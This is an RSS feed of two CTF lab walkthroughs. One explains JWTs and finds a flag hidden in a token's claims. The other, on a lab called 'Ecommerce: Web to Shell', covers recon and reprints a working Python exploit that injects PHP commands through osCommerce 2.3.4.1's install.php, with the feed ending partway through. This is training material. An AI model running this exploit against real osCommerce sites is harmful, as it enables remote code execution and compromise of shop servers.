<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Anudeep Reddy</title>
    <description>The latest articles on DEV Community by Anudeep Reddy (@anudeepreddy).</description>
    <link>https://dev.to/anudeepreddy</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F136498%2F054cfab4-2f79-4fa5-a195-8f1d32d23e6b.jpeg</url>
      <title>DEV Community: Anudeep Reddy</title>
      <link>https://dev.to/anudeepreddy</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/anudeepreddy"/>
    <language>en</language>
    <item>
      <title>CTF.live - Secret in Claim</title>
      <dc:creator>Anudeep Reddy</dc:creator>
      <pubDate>Mon, 03 Aug 2020 14:46:10 +0000</pubDate>
      <link>https://dev.to/anudeepreddy/ctf-live-secret-in-claim-c33</link>
      <guid>https://dev.to/anudeepreddy/ctf-live-secret-in-claim-c33</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;This post is originally written in my personal blog &lt;a href="https://blog.anudeepreddy.me/ctf-live-secret-in-claim"&gt;Anudeep's blog&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This post is a walkthrough of a lab from &lt;a href="https://ctf.live"&gt;ctflive&lt;/a&gt;. You can find this lab &lt;a href="https://www.ctf.live/challengedetails?cid=47"&gt;here&lt;/a&gt;, First give it a try yourself before going through this post. It's a JWT based challenge. For those of you who don't know what a JWT is. don't worry there will be a short introduction about that in this post.&lt;/p&gt;

&lt;h1&gt;
  
  
  What is JWT🤔?
&lt;/h1&gt;

&lt;p&gt;JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties. (source: &lt;a href="https://jwt.io"&gt;https://jwt.io&lt;/a&gt;). What does this even mean🤷‍♀️?. &lt;/p&gt;

&lt;p&gt;Let us have a look at one of the best explanations i read so far and it's by Kasey Speakman. I am dropping his dev profile here, do drop a heart on his actual comment that is linked below.&lt;/p&gt;


&lt;div class="ltag__user ltag__user__id__15366"&gt;
  
    .ltag__user__id__15366 .follow-action-button {
      background-color: #093656 !important;
      color: #ffffff !important;
      border-color: #093656 !important;
    }
  
    &lt;a href="/kspeakman" class="ltag__user__link profile-image-link"&gt;
      &lt;div class="ltag__user__pic"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--LuuRa67q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://res.cloudinary.com/practicaldev/image/fetch/s--s_Ze2v_e--/c_fill%2Cf_auto%2Cfl_progressive%2Ch_150%2Cq_auto%2Cw_150/https://dev-to-uploads.s3.amazonaws.com/uploads/user/profile_image/15366/c6550569-8654-4c9e-828b-c1dcb9c8a0df.png" alt="kspeakman image"&gt;
      &lt;/div&gt;
    &lt;/a&gt;
  &lt;div class="ltag__user__content"&gt;
    &lt;h2&gt;
&lt;a class="ltag__user__link" href="/kspeakman"&gt;Kasey Speakman&lt;/a&gt;
&lt;/h2&gt;
    &lt;div class="ltag__user__summary"&gt;
      &lt;a class="ltag__user__link" href="/kspeakman"&gt;collector of ideas. no one of consequence.&lt;/a&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;



&lt;div class="liquid-comment"&gt;
    &lt;div class="details"&gt;
      &lt;a href="/kspeakman"&gt;
        &lt;img class="profile-pic" src="https://res.cloudinary.com/practicaldev/image/fetch/s--IhO-kaBH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://res.cloudinary.com/practicaldev/image/fetch/s--bCt-NbgK--/c_fill%2Cf_auto%2Cfl_progressive%2Ch_50%2Cq_auto%2Cw_50/https://dev-to-uploads.s3.amazonaws.com/uploads/user/profile_image/15366/c6550569-8654-4c9e-828b-c1dcb9c8a0df.png" alt="kspeakman profile image"&gt;
      &lt;/a&gt;
      &lt;a href="/kspeakman"&gt;
        &lt;span class="comment-username"&gt;Kasey Speakman&lt;/span&gt;
      &lt;/a&gt;
        &lt;a href="https://github.com/kspeakman"&gt;
          &lt;img src="/assets/github-logo.svg" class="icon-img" alt="github"&gt;
        &lt;/a&gt;
      &lt;div class="comment-date"&gt;
  &lt;a href="/kspeakman/comment/om9"&gt;
    &lt;time&gt;
      Sep 22 '17
    &lt;/time&gt;
  &lt;/a&gt;
&lt;/div&gt;

    &lt;/div&gt;
    &lt;div class="body"&gt;
      &lt;p&gt;This one is tough to explain LI5. Most physical analogies fall down. I attempted several already and threw them away. And things that are like JWT (like the chip in credit cards) have to be explained too. Hopefully somebody has a good analogy handy.&lt;/p&gt;

&lt;p&gt;Edit: Actually I thought of one.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;For background, in the US the legal age to consume alcohol is 21 years. Restaurants are required to verify your age is at least 21 before serving alcohol. They normally do this by checking your driver's license.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scenario 1: (Not JWT)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I'm at a restaurant and I order a beer. This particular restaurant takes age verification &lt;em&gt;very&lt;/em&gt; seriously. So the waiter asks to see my license. I provide it, but then he goes and gets a phone. He calls the DMV, waits on hold for a bit, and asks them to verify the license details. Once he talks to the licensing authority and they confirm my date of birth, then he goes and gets my beer.&lt;/p&gt;

&lt;p&gt;This is the old style of authentication, where you present your session cookie. When the server receives the session ID from the cookie, it turns around and calls the session service (or queries a database or memory) to find out if your ID is still good, and additional information that might be stored in that session.&lt;/p&gt;

&lt;p&gt;As you can see, this can become a bottleneck to service.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scenario 2: (JWT)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I'm at a restaurant and I order a beer. This particular restaurant also takes age verification very seriously. The waiter asks to see my license, and I provide it. The waiter pulls out a UV light and inspects the watermark on my license. It checks out ok, so he hands the license back and gets my beer.&lt;/p&gt;

&lt;p&gt;In this case, the issuing authority of the license placed a special "seal" into the license that can be used to identify valid licenses. This means that verification can be performed without calling back to the DMV. The waiter has to know exactly what seal to look for. That might mean he has to go look up the state's seal sometimes. Once the waiter determines that the license is valid, they can trust the Date of Birth information on it.&lt;/p&gt;

&lt;p&gt;This is the JWT variety of authentication. Once the DMV believes you are who you say (JWT version: autheticated, probably with password), it collects various data about you (JWT version: claims) and puts it on the license (JWT itself). When the license is issued, it is also watermarked with a seal (JWT version: digital signature) so that it can be examined for validity by people who know what to look for (JWT version: your API validates the JWT signature with a shared key). After that, the license (JWT) is trusted and the Date of Birth (claim) is assumed to be true.&lt;/p&gt;


    &lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  Let's get into the actual working now
&lt;/h2&gt;

&lt;p&gt;A JWT is of the format &lt;code&gt;xxxxxxxxx.yyyyyyyyyyy.zzzzzzzzzzzz&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;x's specify the algorithm used to sign the JWT in base64.&lt;/li&gt;
&lt;li&gt;y's contain the claims in base64.&lt;/li&gt;
&lt;li&gt;z's are the signature that is generated with &lt;code&gt;xxxxxxxxx.yyyyyyyyyyy&lt;/code&gt; as the data.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Algorithms that are generally used to sign JWT includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HS256 (Symmetric)&lt;/li&gt;
&lt;li&gt;RS256 (Asymmetric)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Where are these used?
&lt;/h2&gt;

&lt;p&gt;As far as our lab is concerned, we use it to authenticate users to a website. So when a user logins to a website the website will issue a JWT with the claims of who the user is and any additional information. This JWT is sent back to the website in the subsequent requests made by the user. The JWT is first verified to check if the signature is legit, it's basically done by again signing the &lt;code&gt;xxxxxxxxx.yyyyyyyyyyy&lt;/code&gt; of the token and checking if it matches with the signature that is sent as a part of the JWT. If they are equal then the server can trust the claims that come with the JWT. If any user tries to tamper with the claims in the JWT(the data in yyyyyyyyyyyy part) then the signature won't match and in an ideal condition the website should through an unauthorized message.&lt;/p&gt;

&lt;h1&gt;
  
  
  Now the Lab
&lt;/h1&gt;

&lt;h3&gt;
  
  
  Mission 💻
&lt;/h3&gt;

&lt;p&gt;Retrieve the secret information present in the token payload!&lt;/p&gt;

&lt;p&gt;We are given with a CMS to interact with. The Lab also gives you with the username and password to login to the user account.&lt;/p&gt;

&lt;h3&gt;
  
  
  Let's start
&lt;/h3&gt;

&lt;p&gt;Starting the lab you will be given a virtual environment where the CMS is hosted in your local network and you have a machine with all the tools you will need preinstalled.&lt;/p&gt;

&lt;p&gt;The challenge page also gives you few instruction on how to access the CMS that is hosted in your local environment.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--QSOnIHNA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/cw5ajh16skmk25mfcrrj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--QSOnIHNA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/cw5ajh16skmk25mfcrrj.png" alt="Lab instructions"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It says the CMS runs on port 1337 and since I have already worked with a CMS that works on that port, I knew it was &lt;a href="https://strapi.io"&gt;strapi&lt;/a&gt; already.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rv15xttK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/ymodt7ntztsr4n1gmbmo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rv15xttK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/ymodt7ntztsr4n1gmbmo.png" alt="Strapi page"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let us try to login with the credentials given. Strapi currently manages admin and end users separately. I assume that the credentials given to us are of the end user. So we can't access the strapi admin page with these credentials. All we need is the JWT because out flag is hidden these as the name of the challege suggests.&lt;/p&gt;

&lt;p&gt;First we need to find the IP address on which the CMS is hosted. For that run &lt;code&gt;ifconfig&lt;/code&gt; in your console to find your IP and then follow the instructions of the challenge to find the IP of the CMS.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--HCJ5Ifvi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/55zcxc4e198lzkx38jd2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--HCJ5Ifvi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/55zcxc4e198lzkx38jd2.png" alt="ifconfig"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In my case my IP was 192.142.236.2 and that of the CMS was 192.142.236.3. It is given in the challenge on what is the auth endpoint and the parameters that it accepts.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--AUxu8krH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/yvsdjai6skiwa2y2orey.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--AUxu8krH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/yvsdjai6skiwa2y2orey.png" alt="Api Endpoints"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let us use curl to send the request. I ran the following command to send a post request to the CMS and retrieve the JWT from the response.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--79S-no42--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/xprsxz9y4jfpi9ac1pkn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--79S-no42--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/xprsxz9y4jfpi9ac1pkn.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--KigfepWm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/1oou9fr14ikphwjxokd8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--KigfepWm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/1oou9fr14ikphwjxokd8.png" alt="post request curl"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now copy that JWT from the console and head over to &lt;a href="https://jwt.io"&gt;jwt.io&lt;/a&gt; which will decode the JWT for us. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--148fgpPx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/482chkws77fkqb5kh1ei.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--148fgpPx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/482chkws77fkqb5kh1ei.png" alt="jwt.io"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Voila, there's our flag🎉.
&lt;/h2&gt;

&lt;h1&gt;
  
  
  Learning
&lt;/h1&gt;

&lt;p&gt;Sometimes developers might end up sending critical information in the JWT. Make sure you check for such information during bug bounty or when you are building your own application.&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>CTF.live - Ecommerce: Web to Shell Walkthrough</title>
      <dc:creator>Anudeep Reddy</dc:creator>
      <pubDate>Mon, 27 Jul 2020 14:18:52 +0000</pubDate>
      <link>https://dev.to/anudeepreddy/ctflive-com-ecommerce-web-to-shell-walkthrough-2ml3</link>
      <guid>https://dev.to/anudeepreddy/ctflive-com-ecommerce-web-to-shell-walkthrough-2ml3</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;This post is originally written in my personal blog &lt;a href="https://blog.anudeepreddy.me/ctf-live-ecommerce-web-to-shell-walkthrough" rel="noopener noreferrer"&gt;Anudeep's blog&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This post is a walkthrough of a lab from &lt;a href="https://ctflive.com" rel="noopener noreferrer"&gt;ctflive&lt;/a&gt;. As the name suggests it's a Web Application Lab. I have been in search of beginner level labs to get started and found ctf lab which has labs that are beginner friendly. So without wasting much of your time let's get started. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Please go through the entire post as i am going to breakdown the exploit that was used 👨‍💻.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Before reading this I would like you to give it a try yourself. Here is the link to the lab. &lt;a href="https://www.ctf.live/challengedetails?cid=42" rel="noopener noreferrer"&gt;Ecommerce: Web to Shell&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Walkthrough
&lt;/h2&gt;

&lt;p&gt;Once you start your lab and open it you should see a e-commerce site. Looking around you can observe that it's a php based website. First of all let us try to understand what we need to achieve. &lt;/p&gt;

&lt;h3&gt;
  
  
  Mission
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The attacker might not have any user-level access to the web application. However, this does not mean that the application cannot be attacked remotely. Vulnerabilities could be triggered even by unauthenticated users.

In this challenge, the attacker is unauthenticated to the web application and needs to find and exploit the vulnerability.

Objective: Exploit the vulnerability and retrieve the flag.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the mission provided in the lab description. Let's try to understand what it means. &lt;code&gt;The attacker might not have any user-level access to the web application&lt;/code&gt;, this statement clearly gives  you a hint that you need not create a user account to exploit this lab. And if we look closely at the name of the lab Ecommerce: &lt;strong&gt;Web to Shell&lt;/strong&gt;, does it ring any bells??.&lt;/p&gt;

&lt;p&gt;If you guessed that you need to get a shell access then you are right🥳.&lt;/p&gt;

&lt;p&gt;Let's start with some recon. I ran a &lt;strong&gt;nmap&lt;/strong&gt; scan on the host to grab some info.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$&amp;gt; nmap -A &amp;lt;link-to-lab&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F2jzgoz3bagogh4pm62ns.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F2jzgoz3bagogh4pm62ns.png" alt="Nmap scan results"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From the nmap results now we know that there are two open ports:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Port 22 running &lt;code&gt;OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;Port 80 running &lt;code&gt;Apache/2.4.7&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let us try to find if there are any vulnerabilities which might lead to RCE(Remote Code Execution) on Apache/2.4.7 as our ultimate goal is to get a shell access. For the vulnerability search let's dive into &lt;a href="https://www.exploit-db.com" rel="noopener noreferrer"&gt;exploit-db&lt;/a&gt; and search for Apache/2.4.7. I found the following vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fp33w8z2m9q01f4e0tvq1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fp33w8z2m9q01f4e0tvq1.png" alt="Exploit-db results"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first one should be our point of interest as it's of type Remote Code Execution. But that exploit only works with Apache/2.4.7 in combination with php/7.0.2. Even our current application works on PHP but lets try to find out the version of PHP that our application is using, for that head over to &lt;code&gt;&amp;lt;link-to-lab&amp;gt;/phpinfo.php&lt;/code&gt; which should give you a page similar to this.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fqsi5s2rcjfv4lh5836j5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fqsi5s2rcjfv4lh5836j5.png" alt="phpinfo page"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Oops! It's not PHP/7.0.2 rather it's PHP/5.5.9, so our exploit won't work here. &lt;/p&gt;

&lt;h3&gt;
  
  
  Get back to basics
&lt;/h3&gt;

&lt;p&gt;Now let's try out our recon phase again. &lt;br&gt;
I started looking at the website at this point. Initially I thought osCommerce is the name of the store but then if you look at the footer of the website you will find something interesting, It says &lt;strong&gt;Powered by osCommerce&lt;/strong&gt;. Now a quick Google search reveals that &lt;strong&gt;osCommerce is an e-commerce and online store-management software program&lt;/strong&gt;. Now let us again dive back to exploit-db and search for vulnerabilities with osCommerce (Application level vulnerability) and you find this.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F00oa6vj8e6kzeoijsajd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F00oa6vj8e6kzeoijsajd.png" alt="oscommerce vulns"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's try out the fourth vulnerability that is listed in the image above. The following exploit code is found along with the vulnerability.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="c1"&gt;# enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)
&lt;/span&gt;&lt;span class="n"&gt;base_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://localhost//oscommerce-2.3.4.1/catalog/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;target_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://localhost/oscommerce-2.3.4.1/catalog/install/install.php?step=4&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DIR_FS_DOCUMENT_ROOT&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;./&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# the payload will be injected into the configuration file via this code
# '  define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" .
# so the format for the exploit will be: '); PAYLOAD; /*
&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s"&gt;);&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;system(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ls&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;);&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;    &lt;span class="c1"&gt;# this is where you enter you PHP payload
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/*&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DB_DATABASE&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;

&lt;span class="c1"&gt;# exploit it
&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;target_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Successfully launched the exploit. Open the following URL to execute your code&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;base_url&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;install/includes/configure.php&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[-] Exploit did not execute as planned&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now in the above exploit code I replaced the target url to the lab url and it should look like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="c1"&gt;# enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)
&lt;/span&gt;&lt;span class="n"&gt;base_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://l4eowcwhoggdly42685x49mzl.ctf-india.attackdefenselabs.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;target_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://l4eowcwhoggdly42685x49mzl.ctf-india.attackdefenselabs.com/install/install.php?step=4&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DIR_FS_DOCUMENT_ROOT&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;./&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# the payload will be injected into the configuration file via this code
# '  define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" .
# so the format for the exploit will be: '); PAYLOAD; /*
&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s"&gt;);&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
